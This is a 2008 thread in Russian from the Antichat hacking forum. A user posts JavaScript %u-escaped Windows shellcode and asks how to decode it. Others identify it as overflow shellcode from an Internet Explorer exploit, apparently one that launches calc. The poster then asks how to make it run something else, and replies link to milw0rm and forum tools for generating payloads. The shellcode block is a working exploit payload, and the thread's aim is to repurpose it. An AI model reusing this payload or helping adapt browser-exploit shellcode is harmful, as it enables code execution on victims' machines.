Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Чем расшифровать escape ? (https://forum.antichat.xyz/showthread.php?t=64336)

FaR-G9 14.03.2008 22:01
Чем расшифровать escape ?
 
сабж
чем можно расшифровать этот код?
Код:
"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u",
"0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u",
"543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u",
"89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u",
"0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u",
"7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"
Пробовал
var Сode = unescape();
alert(Сode);
Не получается вылетает алерт с 2мя символами: один -каракуля, второй - D

NOmeR1 14.03.2008 22:21
Если юзать unescape() и убрать всякую фигню типо ноль байтов, то получится:
Код:
D䖋謼ռŸ误ᡏ律Ġ䧫㒋Ƌ㇮駀蒬瓀섇්숁吻Ф律Ĥ曫ಋ譋ᱟ᲋Ƌ觫⑜쌄쀱譤぀삅౸䂋謌ᱰ训ࡨ৫肋°梋弼噠삃偻繨桳ﺘຊw揧污
P.S. Осталось перевести с китайского и будет расшифровано)

Piflit 14.03.2008 22:24
Цитата:
Сообщение от NOmeR1
Если юзать unescape() и убрать всякую фигню типо ноль байтов, то получится:
Код:
D䖋謼ռŸ误ᡏ律Ġ䧫㒋Ƌ㇮駀蒬瓀섇්숁吻Ф律Ĥ曫ಋ譋ᱟ᲋Ƌ觫⑜쌄쀱譤぀삅౸䂋謌ᱰ训ࡨ৫肋°梋弼噠삃偻繨桳ﺘຊw揧污
P.S. Осталось перевести с китайского и будет расшифровано)
это не китайский) это шеллкод для оверфлоу.

http://www.computerterrorism.com/research/ie/poc.htm

FaR-G9 14.03.2008 22:31
Цитата:
это не китайский) это шеллкод для оверфлоу.
угу, эт со сплоета под IE
Как его изменьть, чтоб заместо калькулятора выполнить что-нибудь другое

FaR-G9 14.03.2008 22:36
а, все я раздуплился, кажется этим надо генерировать
http://milw0rm.com/exploits/5255

iddqd 14.03.2008 22:38
Лучше этим:
http://forum.antichat.ru/thread61124.html


Время: 09:03